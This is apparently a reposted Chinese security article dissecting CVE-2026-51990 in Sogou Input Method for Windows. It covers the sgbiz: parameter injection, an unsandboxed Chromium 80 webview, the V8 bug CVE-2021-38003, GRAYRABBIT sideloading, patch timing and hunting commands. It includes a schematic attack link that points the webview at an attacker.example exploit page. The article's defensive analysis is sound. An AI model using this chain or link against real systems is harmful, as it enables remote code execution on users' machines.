2026-10-07 05:02:57 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 搜狗输入法Windows版存在CVE-2026-51990远程代码执行漏洞，攻击链包含自定义协议参数注入、无限制Webview加载、陈旧Chromium内核及已知V8漏洞利用，最终通过DLL侧加载部署GRAYRABBIT后门。建议立即升级至16.3.0.3498版本，排查sgbiz协议注册、可疑7-Zip组合及IOC指标，并重视内嵌浏览器组件的独立安全维护。 综合评分： 92 文章分类： 漏洞分析,WEB安全,应急响应,恶意软件,实战经验

点一下链接就中招，搜狗输入法远程代码执行漏洞完整拆解

原创

网络安全透视镜网络安全透视镜

网络安全透视镜

2026年9月14日 22:10 江苏

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

“

危险往往不来自某个惊天动地的漏洞，而来自几处当时都说得过去的设计，被人按正确的顺序串成了一条链。

—— CVE-2026-51990 拆解笔记

最近，一个看起来并不起眼的漏洞刷屏了安全圈：搜狗输入法 Windows 版的远程代码执行漏洞 CVE-2026-51990 。

它的可怕之处，不在于某个精妙的内存破坏技巧，而在于整条攻击链没有任何一环需要高深技术 ——单独看每一步都能找到合理的解释，连起来却是一条从超链接直达任意代码执行的通路。

更关键的是，这不是实验室里的概念验证。 Gen Threat Labs 是在处置一桩真实入侵时撞见它的，幕后团伙 UNC3569 早已用它向受害者投放 GRAYRABBIT 后门。国内方面，微步情报局也已成功复现，并将其处置优先级标记为高风险。

这篇文章，我们把这条链一层一层拆开看。

📌 本文看点

一次点击到 Shell 的四环链条

输入法里那枚 2020 年的内核

你的终端上还有几个 sgbiz

OVERVIEW

漏洞概况：一次点击，无需权限

先看基本面。 CVE-2026-51990 影响所有低于 16.3.0.3498 的 Windows 版搜狗输入法，利用条件是「远程 + 无权限 + 需要用户配合一次点击」——请注意，只需要点一次。

4.55亿+

全平台月活用户

12天

报告→补丁推送

6年+

内嵌内核停更时长

搜狗输入法并非小众软件。公开数据显示其全平台月活用户超过 4.55 亿，是国内终端装机率最高的桌面应用之一。这正是攻击者挑中它的原因—— 装机越普遍，攻击面越整齐、越同质。

「攻击者并不在意某个软件看起来安不安全——输入法可以成为入口，皮肤商城可以成为投毒渠道。」

把底线先说清楚：这是一条在真实入侵中被验证过的攻击链，不是纸上推演。下面四环，每一环都缺一不可。

CHAIN

攻击链拆解：四个环，缺一不可

第一环：sgbiz: 把外部输入当成了自己人

Windows 允许应用注册自定义 URI 协议，让网页、文档里的一个超链接直接唤起本地程序。搜狗注册的就是 sgbiz: 。

问题出在参数处理上。受害者点击构造好的链接后，Windows 把请求交给搜狗的 biz_helper.exe ，由它决定拉起哪个组件，并把参数一并转交过去。

Gen 的逆向结果显示：这个处理器校验了要拉起哪个组件，却没校验随 URI 传入的命令行参数。攻击者因此可以拼出一条链接，让搜狗用自己指定的参数去启动一个完全合法的组件 SGMyInput.exe 。

伪装的入口在结构上大致是这样（示意，真实参数名与域名已省略）：

…text

sgbiz://<组件名>/<动作>?…&jumpUrl=https://attacker.example/exploit.html

到这里，一个不受信任的超链接已经变成了「由应用自己发起的浏览器导航动作」。这是整条链上最致命的一步：受害者看到的只是一个链接，背后却是本地进程被命令行参数牵着走。

说明：上面给出的是结构形态，不是可利用的细节。目的是让你在自己的资产里认出这种模式，而不是递一把钥匙。

第二环：皮肤商城的 webview，不挑 URL

被注入的参数让搜狗打开的是它的皮肤商城界面。这个界面不是原生窗口，而是一个基于 CEF（Chromium Embedded Framework）的内嵌浏览器。

而它做的是——直接加载攻击者指定的 URL，既不限制协议，也不限制目标域名，任意协议、任意域名照单全收。

于是第二环成立：一个本地应用的受信任组件，把外部世界的任意网页拉进了自己的进程空间。开发时的设想是「这个 webview 只用来显示自家皮肤页」，但这个假设并没有被任何机制强制。信任一旦只写在注释里，就一定会被绕过。

第三环：一枚 2020 年的内核，而且没有沙箱

如果只是加载网页，攻击者还得先打穿现代浏览器的防线。偏偏这枚内核本身就老了——Gen 确认它停留在 Chromium 80 时代，大致对应 2020 年 3 月，距今六年多。

更糟的是配置。研究者发现多项浏览器安全机制被应用主动关闭，其中包括沙箱，同源策略（web security）也通过配置选项被禁用。

「现代浏览器攻击要求攻击者同时具备渲染器漏洞与沙箱逃逸两件武器，这里只需要前者。」

本该在这一步挡住攻击者的安全边界，早在应用启动的那一刻就被自己拆掉了。而六年前的老内核里，正好有一枚现成的漏洞在等着被调用。

第四环：CVE-2021-38003，一枚五年前的 V8 漏洞补刀

攻击链的最后一脚用的是 CVE-2021-38003 ，一枚与 JSON.stringify 处理有关的 V8 老漏洞，早在 2021 年就在主流 Chrome 中被修复。但对这枚内嵌内核来说，那行有问题的代码一直还在那里。

把四环连起来，完整链条是这样的：

…attack-chain

恶意链接 → sgbiz: → biz_helper.exe

　↓

SGMyInput.exe → 皮肤商城 webview

　↓

攻击者可控 URL

　↓

Chromium 80（无沙箱 / 同源策略关闭）

　↓

CVE-2021-38003 → 代码执行

　↓

7-Zip DLL 侧加载 → GRAYRABBIT

请注意这里的责任划分：CVE-2026-51990 本身指的是协议处理器的参数注入缺陷，真正完成代码执行的是另一枚 CVE。一次成功的入侵，常常是多份陈旧债务同时到期。

💡 这也解释了为什么只盯 Chrome、Edge、Firefox 版本的资产清单是不完整的——真正的短板，常常藏在你从不认为它是浏览器的那个应用里。

PAYLOAD

落地：GRAYRABBIT 是怎么进来的

拿到代码执行之后就是熟悉的 malware 流程了。Gen 观察到一个小型下载器，从阿里云香港的基础设施上取回三个文件： 一份合法的 7-Zip 可执行文件、一个恶意 DLL、一份加密后的载荷 。

随后上演经典的 DLL 侧加载（DLL sideloading）：合法且被广泛信任的 7-Zip 可执行文件在启动时，从同目录加载恶意 DLL ，攻击者的代码就此藏在可信进程名下运行。这也是为什么「父进程白名单」这类检测逻辑并不总是可靠。

这个 loader 还很懂反分析。它在解密载荷之前会先检查系统里的进程数量 ——环境看起来太小（典型沙箱特征）就故意用错误的密钥解出一段垃圾数据，而不是真正的 payload；清理痕迹时则用到了 NTFS 备用数据流（ADS）。

「别硬刚沙箱，让恶意代码自己决定值不值得现身——这是老练的手法。」

最终落地的 GRAYRABBIT 是一个 64 位、模块化程度更高的变体，核心能力包括：

交互式反弹 Shell

进程执行与交互式 Shell 并重，不像「打完捞一笔」的工具，更像留给后续键盘操作与横向移动的通道。

文件与信息收集

支持文件上传下载，并采集系统与用户信息用于后续定向，C2 配置为 RC4 编码。

反射式插件加载

后续扩展能力直接映射到宿主进程内存，不落新文件，磁盘扫描器看不到新二进制，显著延长驻留时间。

C2 通信走的是 TCP 443 ，但并非标准 TLS，而是 RC4 加密的裸 TCP 流量。

端口 443 不等于 HTTPS。这条直到今天依然好用。

PATCH

时间线：补丁打了，但根还在

这条链的披露与修复节奏其实很快，几个关键节点如下：

2024 年　GRAYRABBIT 首次被记录

Google 研究者将其描述为由 UNC3569 使用的模块化恶意软件家族。

2026-04-09　Gen 向腾讯报告

连同野外利用情况一并提交，次日腾讯确认。

2026-04-21　16.3.0.3498 发布

修复完成并通过自动更新推送，全程 12 天。

2026-07-10　MITRE 分配 CVE

编号 CVE-2026-51990 正式生效。

2026-09-11　公开披露

BleepingComputer、The Hacker News 等跟进，安全社区广泛扩散。

对数亿用户的产品来说， 12 天完成从报告到部署修复，是一个相当体面的响应速度。补丁做了三件事：

对协议处理器的 URL 类参数做严格校验

只放行 HTTPS 协议

目标域名限制在搜狗与腾讯的可信域名白名单内

也就是说， sgbiz: 这条门算是关上了 。但 Gen 在披露时给出的提醒同样明确：补丁没有替换那枚内嵌浏览器内核。受影响构建中仍然是 Chromium 80 时代的组件，沙箱依旧关闭，其他浏览器安全设置维持原样。

！踩坑提示 🕳

别把「升级到 16.3.0.3498」理解成「这台机上的浏览器组件安全了」。入口被堵，门后那台老机器还在原地。

「厂商修掉了具体那个 bug，让 bug 可利用的结构性条件却留了下来。」

HUNT

排查：现在就能做的几件事

如果你或你的组织在用 Windows 版搜狗输入法，当下可以先做这四件事：

确认版本 ≥ 16.3.0.3498，并确认自动更新没有失败（官方下载页：https://shurufa.sogou.com/windows）

排查 sgbiz: 相关行为：异常拉起 biz_helper.exe / SGMyInput.exe，且命令行里带外部 URL 参数的启动记录

留意用户可写目录里的可疑 7-Zip 执行，例如公共文档目录下出现 7-Zip 可执行文件加 DLL 的组合

做回溯式排查：loader 会自我清理，磁盘上找不到恶意 DLL 并不代表这台机器没被攻陷

Gen 公开的入侵指标可以直接放进 SIEM 或 EDR 做历史检索：

几条可以立刻跑的检查命令。第一步，确认装没装、版本是多少：

…powershell

Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* | Where-Object { $_.DisplayName -like “*Sogou*” } | Select-Object DisplayName,DisplayVersion

32 位/uninstall 分支再跑一遍：

Get-ItemProperty HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Where-Object { $_.DisplayName -like “*Sogou*” } | Select-Object DisplayName,DisplayVersion

第二步，看看本机到底注册了哪些自定义 URI 协议—— 这一步的价值远不止搜狗这一家：

…powershell

Get-ChildItem Registry::HKEY_CLASSES_ROOT | Where-Object { $_.PSChildName -like “*sgbiz*” }

命中后看它 shell\open\command 指向哪个可执行文件：

(Get-ItemProperty ‘HKCR:\sgbiz\shell\open\command’).'(default)’

第三步，扫一遍公共目录里有没有异常的 7z 组合：

…cmd

dir /s /b “%PUBLIC%\Documents\*7z*” 2>nul

dir /s /b “%TEMP%\*7z*.dll” 2>nul

💡 版本低于 16.3.0.3498 应当直接视为「需要升级」，而不是「还没被攻击」。是否已被入侵，必须靠 IOC 回溯才能判断。

LESSON

比搜狗更大的那个问题

这个故事容易被读成「哦，一个中国软件的输入法漏洞」，然后被归到「与我无关」那一栏。那就读错了。

真正普适的教训只有一条：如果你的应用打包了一枚浏览器，你就拥有了一枚浏览器的全部攻击面。

Electron 应用、CEF 工具、各类内嵌 webview 的桌面客户端，乃至那些注册了自定义协议的软件——它们在构建时把 Chromium 版本钉死，更新节奏落后上游数月甚至数年，有的还顺手关掉了沙箱和同源策略。而这些组件都不在企业常规的浏览器补丁节奏里。

搜狗这个案例只是把这种状态最戏剧化地演了一遍：一串超链接，一个被信任的应用，一次点击，然后是一枚 2020 年的浏览器内核在内存里执行了 2021 年的漏洞。

「值得追问的不是我们这里有没有装搜狗，而是终端上还有多少个这样的组合：自定义协议 + 可自由导航的 webview + 多年没升的内核 + 忘了开的沙箱。」

攻击者不会替你保守答案。

∞

THE END

结语

12 天的响应速度值得肯定，CVE-2026-51990 本身也已经被堵住。但在这个案例里，真正耐人寻味的不是那个 bug，而是那串每个单独都能自圆其说、合起来就灾难的设计选择。

从防御角度看，至少有三件事今天就能做：清点终端上带自定义 URI 协议的应用；清点哪些应用捆绑了独立浏览器内核，并确认其版本与沙箱状态；把 7-Zip 这类可信可执行文件从用户可写目录启动的行为纳入监控。

补这条链不难，难的是承认那条你以为不存在的水线。

参考来源：Gen Threat Labs 技术分析、BleepingComputer、The Hacker News、微步情报局（XVE-2026-62927）。文中 IOC 均引自公开报告。

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：网络安全透视镜网络安全透视镜网络安全透视镜《点一下链接就中招，搜狗输入法远程代码执行漏洞完整拆解》